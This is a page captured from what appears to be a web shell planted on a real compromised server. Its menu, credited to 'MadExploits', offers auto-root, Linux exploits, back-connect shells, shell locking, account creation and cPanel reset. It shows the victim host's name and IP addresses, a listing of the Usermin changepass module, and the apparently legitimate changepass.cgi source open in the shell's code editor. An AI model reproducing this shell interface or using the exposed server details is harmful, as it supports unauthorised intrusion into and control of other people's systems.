Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
changepass /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
ulang
[ DIR ]
drwxr-xr-x
CHANGELOG
570
B
-rw-r--r--
changepass-lib.pl
3.95
KB
-rwxr-xr-x
changepass.cgi
8.1
KB
-rwxr-xr-x
config
138
B
-rw-r--r--
config-ALL-linux
136
B
-rw-r--r--
config-freebsd
233
B
-rw-r--r--
config-macos
151
B
-rw-r--r--
config-netbsd
208
B
-rw-r--r--
config-openbsd
154
B
-rw-r--r--
config-openserver
151
B
-rw-r--r--
config-qnx
159
B
-rw-r--r--
config-solaris
136
B
-rw-r--r--
config.info
812
B
-rw-r--r--
config.info.ca
990
B
-rwxr-xr-x
config.info.cs
872
B
-rw-r--r--
config.info.de
689
B
-rw-r--r--
config.info.el
1.37
KB
-rw-r--r--
config.info.nl
929
B
-rw-r--r--
config.info.no
852
B
-rw-r--r--
index.cgi
1.79
KB
-rwxr-xr-x
md5-lib.pl
7.44
KB
-rwxr-xr-x
module.info
179
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
130
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
213
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
196
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
218
B
-rw-r--r--
module.info.ca
29
B
-rw-r--r--
module.info.ca.auto
106
B
-rw-r--r--
module.info.cs
21
B
-rw-r--r--
module.info.cs.auto
101
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
134
B
-rw-r--r--
module.info.de
81
B
-rw-r--r--
module.info.de.auto
21
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
213
B
-rw-r--r--
module.info.es
32
B
-rw-r--r--
module.info.es.auto
112
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
116
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
176
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
133
B
-rw-r--r--
module.info.fr
32
B
-rw-r--r--
module.info.fr.auto
121
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
167
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
132
B
-rw-r--r--
module.info.hu
30
B
-rw-r--r--
module.info.hu.auto
130
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
127
B
-rw-r--r--
module.info.ja
33
B
-rw-r--r--
module.info.ja.auto
136
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
154
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
148
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
116
B
-rw-r--r--
module.info.ms
0
B
-rw-r--r--
module.info.ms.auto
145
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
139
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.auto
108
B
-rw-r--r--
module.info.no
22
B
-rw-r--r--
module.info.no.auto
108
B
-rw-r--r--
module.info.pl
22
B
-rw-r--r--
module.info.pl.auto
99
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
116
B
-rw-r--r--
module.info.pt_BR
25
B
-rw-r--r--
module.info.pt_BR.auto
102
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
121
B
-rw-r--r--
module.info.ru
32
B
-rw-r--r--
module.info.ru.auto
133
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
125
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
122
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
138
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
245
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
147
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
201
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
208
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
143
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
112
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
121
B
-rw-r--r--
recovery.cgi
629
B
-rwxr-xr-x
uconfig.info.de
845
B
-rw-r--r--
webmin_menu.pl
339
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : changepass.cgi
#!/usr/bin/perl # changepass.cgi # Change the user's password now, using PAM and the passwd service require './changepass-lib.pl'; &error_setup($text{'change_err'}); &ReadParse(); # Validate inputs $in{'new1'} ne '' || &error($text{'change_enew1'}); $in{'new1'} eq $in{'new2'} || &error($text{'change_enew2'}); # Make sure minimum length and other restrictions are met $err = &check_password($in{'new1'}, $remote_user); &error($err) if ($err); eval "use Authen::PAM"; $has_pam++ if (!$@); $@ = undef; if ($config{'passwd_cmd'} eq 'file') { # Directly update shadow file to do the change # Read shadow file and find user &get_miniserv_config(\%miniserv); &lock_file($miniserv{'passwd_file'}); $lref = &read_file_lines($miniserv{'passwd_file'}); for($i=0; $i<@$lref; $i++) { @line = split(/:/, $lref->[$i], -1); local $u = $line[$miniserv{'passwd_uindex'}]; if ($u eq $remote_user) { $idx = $i; last; } } defined($idx) || &error($text{'change_euser'}); # Work out password encryption type $type = $config{'md5'}; $func = $type == 1 ? \&check_md5 : $type == 2 ? \&check_blowfish : $type == 3 ? \&check_sha512 : undef; if ($func && &$func()) { &error($text{'change_eformat'}); } # Validate old password $oldpass = $line[$miniserv{'passwd_pindex'}]; &validate_password($in{'old'}, $oldpass) || &error($text{'change_eold'}); # Set new password and save file if ($type == 0) { # Do Unix encryption $salt = chr(int(rand(26))+65) . chr(int(rand(26))+65); $line[$miniserv{'passwd_pindex'}] = &unix_crypt($in{'new1'}, $salt); } elsif ($type == 1) { # Do MD5 encryption $line[$miniserv{'passwd_pindex'}] = &encrypt_md5($in{'new1'}); } elsif ($type == 2) { # Do Blowfish encryption $line[$miniserv{'passwd_pindex'}] = &encrypt_blowfish($in{'new1'}); } elsif ($type == 3) { # Do SHA512 encryption $line[$miniserv{'passwd_pindex'}] = &encrypt_sha512($in{'new1'}); } if ($miniserv{'passwd_cindex'} ne '') { $days = int(time()/(24*60*60)); $line[$miniserv{'passwd_cindex'}] = $days; } $lref->[$idx] = join(":", @line); &flush_file_lines(); &unlock_file($miniserv{'passwd_file'}); } elsif ($config{'passwd_cmd'} || !$has_pam) { # Call passwd program to do the change if ($config{'passwd_cmd'}) { $passwd_cmd = $config{'passwd_cmd'}; } else { $passwd_cmd = &has_command("passwd"); $passwd_cmd || &error(&text('change_epasswd', "<tt>passwd</tt>")); } &foreign_require("proc", "proc-lib.pl"); &clean_environment(); $ENV{'REMOTE_USER'} = $remote_user; # some programs need this if ($config{'cmd_mode'} == 0) { # Command is run as the user $ENV{'USER'} = $ENV{'LOGNAME'} = $remote_user; @uinfo = getpwnam($remote_user); $ENV{'HOME'} = $uinfo[7]; chdir($uinfo[7]); ($fh, $fpid) = &proc::pty_process_exec( $passwd_cmd, $uinfo[2], $uinfo[3]); chdir($module_root_directory); } else { # Command is being run as root $passwd_cmd .= " ".quotemeta($remote_user); ($fh, $fpid) = &proc::pty_process_exec($passwd_cmd, 0, 0); } &reset_environment(); while(1) { local $rv = &wait_for($fh, '(new|re-enter).*:', '(old|current|login).*:', 'pick a password', 'too\s+many\s+failures', 'attributes\s+changed\s+on|successfully\s+changed', 'pick your passwords'); $out .= $wait_for_input; sleep(1); if ($rv == 0) { # Prompt for the new password syswrite($fh, $in{'new1'}."\n", length($in{'new1'})+1); } elsif ($rv == 1) { # Prompt for the old password syswrite($fh, $in{'old'}."\n", length($in{'old'})+1); } elsif ($rv == 2) { # Request for a menu option (SCO?) syswrite($fh, "1\n", 2); } elsif ($rv == 3) { # Failed too many times last; } elsif ($rv == 4) { # All done last; } elsif ($rv == 5) { # Request for a menu option (HP/UX) syswrite($fh, "p\n", 2); } else { last; } last if (++$count > 10); } $crv = close($fh); sleep(1); waitpid($fpid, 1); $oldstars = ("*" x length($in{'old'})); $newstars = ("*" x length($in{'new1'})); $out =~ s/\Q$in{'old'}\E/$oldstars/g; $out =~ s/\Q$in{'new1'}\E/$newstars/g; &error(&text('change_ecmd', "<tt>$passwd_cmd</tt>", "<pre>$out</pre>")) if ($? || $count > 10 || $out =~ /error|failed/i || $out =~ /bad\s+password/i && !$config{'cmd_mode'}); } else { # Use PAM to make the change.. # Check if the old password is correct &get_miniserv_config(\%miniserv); @uinfo = getpwnam($remote_user); $service = $miniserv{'pam'} ? $miniserv{'pam'} : "webmin"; $pamh = new Authen::PAM($service, $remote_user, \&pam_check_func); $rv = $pamh->pam_authenticate(); $rv == PAM_SUCCESS || &error($text{'change_eold'}); $pamh = undef; # Change the password with PAM, in a sub-process. This is needed because # the UID must be changed to properly signal to the PAM libraries that # the password change is not being done by the root user. $temp = &transname(); $pid = fork(); if (!$pid) { ($>, $<) = (0, $uinfo[2]); $pamh = new Authen::PAM("passwd", $remote_user, \&pam_change_func); $rv = $pamh->pam_chauthtok(); open(TEMP, ">$temp"); print TEMP "$rv\n"; print TEMP ($messages || $pamh->pam_strerror($rv)),"\n"; close(TEMP); exit(0); } waitpid($pid, 0); open(TEMP, $temp); chop($rv = <TEMP>); chop($messages = <TEMP>); close(TEMP); unlink($temp); $rv == PAM_SUCCESS || &error(&text('change_epam2', $messages)); } # Run any post-change command. This must be done before the calls to the # MySQL and mailboxes module, while we are still root. if ($config{'post_command'}) { $ENV{'CHANGEPASS_USER'} = $remote_user; $ENV{'CHANGEPASS_PASS'} = $in{'new1'}; system("($config{'post_command'}) >/dev/null 2>&1 </dev/null"); } # Change samba password as well $smbout = &change_samba_password($remote_user, $in{'old'}, $in{'new1'}); # Change MySQL password too, if possible if ($config{'mysql'} && &foreign_check("mysql")) { &foreign_require("mysql", "mysql-lib.pl"); $myr = &mysql::is_mysql_running(); if ($myr == 1) { # Running and can login .. change it ($db) = grep { &mysql::can_edit_db($_) } &mysql::list_databases(); $db ||= "mysql"; local $main::error_must_die = 1; eval { $mypass = $in{'new1'}; $mypass =~ s/'/''/g; &mysql::execute_sql($db, "set password = password('$mypass')"); }; if ($@) { $mysql_error = $@; } else { # Worked! Save in MySQL config too $mysql_ok = 1; $mysql::userconfig{'pass'} = $in{'new1'}; &mysql::save_user_module_config( \&mysql::userconfig, "mysql"); } } elsif ($myr == -1) { # Running but cannot login $mysql_error = $text{'change_emysql'}; } } # Change matching stored POP3 passwords in read mail module $msg = &change_mailbox_passwords($remote_user, $in{'old'}, $in{'new1'}); push(@pc, $msg) if ($msg); &ui_print_header(undef, $text{'change_title'}, ""); print "<p>",&text('change_oka', "<tt>$remote_user</tt>"),"<p>\n"; if ($smbout =~ /changed/) { print "<p>",&text('change_samba'),"<p>\n"; } elsif ($smbout) { print "<p>",&text('change_samba2', "<pre>$smbout</pre>"),"<p>\n"; } if ($mysql_ok) { print "<p>",&text('change_mysql'),"<p>\n"; } elsif ($mysql_error) { print "<p>",&text('change_mysql2', $mysql_error),"<p>\n"; } foreach $pc (@pc) { print "$pc<br>\n"; } print "<p>\n" if (@pc); &ui_print_footer("", $text{'index_return'}); sub pam_check_func { my @res; while ( @_ ) { my $code = shift; my $msg = shift; my $ans = ""; $ans = $remote_user if ($code == PAM_PROMPT_ECHO_ON()); $ans = $in{'old'} if ($code == PAM_PROMPT_ECHO_OFF()); push @res, PAM_SUCCESS(); push @res, $ans; } push @res, PAM_SUCCESS(); return @res; } sub pam_change_func { my @res; while ( @_ ) { my $code = shift; my $msg = shift; my $ans = ""; $messages = $msg; if ($code == PAM_PROMPT_ECHO_ON()) { # Assume asking for username push @res, PAM_SUCCESS(); push @res, $remote_user; } elsif ($code == PAM_PROMPT_ECHO_OFF()) { # Assume asking for a password (old first, then new) push @res, PAM_SUCCESS(); if ($msg =~ /old|current|login/i) { push @res, $in{'old'}; } else { push @res, $in{'new1'}; } } else { # Some message .. ignore it push @res, PAM_SUCCESS(); push @res, undef; } } push @res, PAM_SUCCESS(); return @res; }
Close